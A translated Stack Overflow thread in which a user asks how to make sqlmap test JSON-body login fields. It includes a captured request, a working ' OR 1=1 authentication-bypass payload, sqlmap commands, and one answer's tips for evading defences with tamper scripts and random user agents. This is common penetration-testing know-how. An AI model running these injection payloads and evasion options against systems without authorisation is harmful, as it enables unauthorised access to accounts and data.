SQLMAP - 将JSON数据作为请求体提交

Question

你好，我想在登录表单中进行SQL注入。

我使用BurpSuite拦截请求：

POST /xxxx/web/Login HTTP/1.1
Host: 10.0.0.70:42020
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: application/json, text/plain, */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Referer: http://xxxxxx.com/xxxxxx/
Content-Length: 44
origin: http://xxxxx.com
Connection: close

{"username”:"user",”password”:"pass"}

使用：

sqlmap -u requestFile

(其中requestFile是使用Burp截取的请求内容)

sqlmap无法找到可注入的password字段。

我确定它是可注入的，因为如果我输入以下密码：

' OR 1=1; -- -

我可以使用任何用户名登录

也尝试使用以下方式：

{"username”:*,”password”:*}

但是没有运气。

我做错了什么？

- ronIDX

---

这个问题可能更适合于http://security.stackexchange.com/，但由于它有点处于中间地带，我不会在这里投票关闭。不过你可能会在那里得到更多的答案。 - Gabor Lengyel

已发布在 security.stackexchange.com。 - ronIDX

Answer 1

例子：

POST / HTTP/1.1
Host: www.example.com

{"username":"*", "password":"*"}

保存为sqlrequest.txt

然后可以使用此命令发起测试:

py sqlmap.py -r sqlrequest.txt --level=5 risk=3 --force-ssl

然后您应该收到提示，表示找到自定义注入标记并在POST请求体中找到JSON数据。处理两者，然后您就可以继续了。

来源:

https://security.stackexchange.com/a/150506/67046

https://security.stackexchange.com/a/51862/67046

- Ogglas

Answer 2

Ogglas给出的答案真的很好，我只想提一下，如果你进一步研究sqlmap的选项，例如--random-agent、--time-sec和-tamper，这些都可以帮助你更有效地绕过一些防御措施 ;)

sqlmap -r sqli.txt --time-sec=5 --random-agent -tamper=between,space2comment

- Watash1

Answer 3

sqlmap -u URL

sqlmap -r requestFile

如何使用请求的教程

查看这个视频

- Txomin

---

欢迎来到StackOverflow。这个答案应该通过添加代码项的描述或解释为什么这个解决方案有效来改进。 - Steven